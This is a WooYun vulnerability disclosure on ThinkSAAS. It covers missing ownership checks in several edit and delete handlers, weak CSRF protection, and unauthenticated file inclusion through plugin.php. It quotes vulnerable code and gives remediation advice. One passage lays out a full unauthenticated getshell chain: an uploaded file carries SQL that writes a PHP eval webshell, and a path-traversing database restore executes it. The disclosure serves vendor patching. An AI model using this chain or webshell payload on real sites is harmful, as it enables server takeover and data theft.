当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051957

漏洞标题:ThinkSAAS多处越权CSRF包含漏洞

相关厂商:thinksaas.cn

漏洞作者: xfkxfk

提交时间:2014-02-25 11:40

修复时间:2014-05-26 11:41

公开时间:2014-05-26 11:41

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-25: 厂商已经确认,细节仅向厂商公开
2014-02-28: 细节向第三方安全合作伙伴开放
2014-04-21: 细节向核心白帽子及相关领域专家公开
2014-05-01: 细节向普通白帽子公开
2014-05-11: 细节向实习白帽子公开
2014-05-26: 细节向公众公开

简要描述:

ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了。

详细说明:

ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了,也一起发了吧,求给力哦,来个大厂商吧!
第一处越权:
Thinksaas在编辑文章内容时,没有判断此文章的发表用户,造成任意用户可修改任意用户文章内容。
来看看编辑文章的代码,/app/article/action/edit.php

case "do" :

$articleid = intval ( $_POST ['articleid'] );
$cateid = intval ( $_POST ['cateid'] );
$title = tsClean ( $_POST ['title'] );
$content = tsClean ( $_POST ['content'] );

if ($TS_USER ['user'] ['isadmin'] == 0) {
// 过滤内容开始
aac ( 'system' )->antiWord ( $title );
aac ( 'system' )->antiWord ( $content );
// 过滤内容结束
}

if ($title == '' || $content == '')
qiMsg ( "标题和内容都不能为空!" );

$new ['article']->update ( 'article', array (

'articleid' => $articleid
)
, array (

'cateid' => $cateid,
'title' => $title,
'content' => $content
)
);


这里没有判断此文章的用户属性,只要用户登录,就能修改articleid和cateid下的任意文章内容。
漏洞证明:

2.png


用户111111发表的文章被222222用户修改了。
第二处越权:
ThinkSAAS在修改用户相册属性,以及修改相册中图片信息时存在越权操作,可修改任意用户相册以及图片信息。
app/photo/action/album.php

case "edit_do":

if($_POST['token'] != $_SESSION['token']) {
tsNotice('非法操作!');
}

//用户是否登录
$userid = aac('user')->isLogin();

$albumid = intval($_POST['albumid']);
$albumname = t($_POST['albumname']);
if($albumname == '') qiMsg("相册名称不能为空!");

$albumdesc = t($_POST['albumdesc']);


if($TS_USER['user']['isadmin']==0){
//过滤内容开始
aac('system')->antiWord($albumname);
aac('system')->antiWord($albumdesc);
//过滤内容结束
}

$new['photo']->update('photo_album',array(
'userid'=>$userid,
'albumid'=>$albumid,
),array(
'albumname'=>$albumname,
'albumdesc'=>$albumdesc,
));
header("Location: ".tsUrl('photo','album',array('id'=>$albumid)));

break;


漏洞证明:
从代码中看出,这里没有判断相册的用户属性,导致用户可修改任意相册信息。
我们先账户111111建立一个相册:

3.png


然后我们换一个用户222222,构造如下请求:

4.png


这里的albumid就是相册的ID,修改这个ID,就能修改对应的相册信息。
此时111111用户的相册信息已被修改如下:

5.png


第三处越权:
在编辑小组基本信息时,没有判断此小组的创建用户属性,导致只通过小组id,groupid即可修改该小组的基本信息,导致越权修改他人创建的小组基本信息。
/app/group/action/do.php

//编辑小组基本信息
case "edit_base":

$groupname = t($_POST['groupname']);
$groupdesc = tsClean($_POST['groupdesc']);

if($groupname=='' || $groupdesc=='') tsNotice("小组名称和介绍都不能为空!");

//过滤内容开始
aac('system')->antiWord($groupname);
aac('system')->antiWord($groupdesc);
//过滤内容结束

$isgroupname = $new['group']->findCount('group',array(
'groupname'=>$groupname,
));

$groupid = intval($_POST['groupid']);

$strGroup = $new['group']->find('group',array(
'groupid'=>$groupid,
));

if($isgroupname > 0 && $strGroup['groupname']!=$groupname) tsNotice('小组名称已经存在!');


$new['group']->update('group',array(
'groupid'=>$groupid,
),array(
'groupname' => trim($_POST['groupname']),
'groupdesc' => trim($_POST['groupdesc']),
'joinway' => intval($_POST['joinway']),
'ispost' => intval($_POST['ispost']),
'isopen' => intval($_POST['isopen']),
'ispostaudit' => intval($_POST['ispostaudit']),
));

tsNotice('基本信息修改成功!');

break;


第四处越权:
在小组中的帖子操作中,编辑帖子类型时存在越权:
/app/group/action/do.php:

//编辑帖子类型
case "edit_type":
$typeid = intval($_POST['id']);
$typename = t($_POST['value']);
if(empty($typename)){
echo '帖子类型不能为空,请点击继续编辑';
}else{
$db->query("update ".dbprefix."group_topic_type set `typename`='$typename' where typeid='$typeid'");
echo $typename;
}
break;


没有判断此帖子类型所属用户属性,导致可以编辑任意用户所属的帖子类型。
第五处越权:
在小组中的帖子操作中,删除帖子类型时存在越权:
/app/group/action/do.php:

//删除帖子类型 
case "del_type":
$typeid = intval($_POST['typeid']);
$db->query("delete from ".dbprefix."group_topic_type where typeid='$typeid'");
$db->query("update ".dbprefix."group_topic set typeid='0' where typeid='$typeid'");
echo '0';
break;


同样也没有判断帖子类型所属用户,导致删除任意用户帖子类型。
漏洞证明:
1、确定用户111111创建的小组111111的小组类型
2、然后用户222222登陆,界面上没有编辑小组111111信息的功能及权利,但我们构造编辑小组分类的请求。
3、然后发送修改小组111111帖子类型的构造请求。
4、最后,111111用户登陆查看自己的小组111111帖子类型被成功修改。
在编辑小组基本信息,删除帖子类型是也可用以上方法测试。
至于CSRF漏洞:
1、在前台有些地方有token,但是有些地方还是没有加token,防御不完善。
2、虽然加了token,但是整个站的token好像是一样的,这个token应该动态处理吧。
3、前台的CSRF就不说了。后台完全没有CSRF防御,像这样构造CSRF请求就可以操作后台的一切操作,拿shell,拖库,修改网站数据,添加管理员等等操作。
具体案例见:
WooYun: ThinkSAAS某功能设计不当可能导致可以csrf后台GETSHELL
WooYun: ThinkSAAS某处CSRF导致直接GETSHELL
WooYun: Thinksaas CSRF导致任意文件删除
第一处包含漏洞:
/app/group/action/plugin.php

<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
qiMsg('sorry:no plugin!');
}


这里没有判断是否登录,而且$app,$plugin,$in参数没有限制目录,导致文件包含。
那么我们只要找一个任意存在的文件就能执行该任意文件了。
第二处包含漏洞:
/app/home/action/plugin.php
第三处包含漏洞:
/app/pubs/action/plugin.php
第四处包含漏洞:
/app/user/action/plugin.php
包含原理通第一处。
漏洞证明:
我们通过上面的包含漏洞可以包含到后台的文件,执行后台的全部功能。
这里我们包含后台如下文件:
/app/system/action/sql.php

<?php 
defined('IN_TS') or die('Access Denied.');
switch($ts){
case "":

//输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file');

include template('sql');
break;

//优化
......
//恢复导入
case "import":
$sql = tsFilter($_GET['sql']);

require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->restore ('data/baksql/'.$sql);

qiMsg('数据库恢复成功!如果有其他卷文件请一同恢复');

break;


那么我们通过上面的包含就可以包含到此文件执行了。
再来看看这里的restore()函数,直接将$sql参数加到了需要回复的数据库文件后面,而且restore()函数并没有判断此文件的格式等有效性,直接打开文件,执行里面的内容,因为默认这是一个sql数据库文件,所以导致目录遍历漏洞。
这样就可以回复任意文件了,只要此文件中是合法的sql语句就行。
那我们在前台上传一个图片,图片内容为:

Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;


在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
上传后的路径我们可以知道,上传后的文件名是按照1,2,3...这样的顺序命名的,所以上传后的文件路径,文件名都可以得到。这样就可以在非登录下直接拿到shell。

getshell.png


可能还有其他地方存在其他的很多漏洞,先发现,提交这么多,后面再继续挖掘。
希望厂商能把前面的那些SQL注入和这些漏洞修复了,做的更安全的产品!

漏洞证明:

见详细说明

修复方案:

1、越权处修复件程序的其他加了用户属性的地方,在操作相关内容时,判断此内容的唯一用户属性,在操作数据。
2、CSRF可以再全局加上token,再加上同源策略的判断即可。
3、包含处问题很多,首先过滤用户输入内容,然后再后台的操作全部加上用户认证和权限的控制和判断。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-25 11:58

厂商回复:

非常感谢xfkxfk的反馈,我们尽快修复!

最新状态:

暂无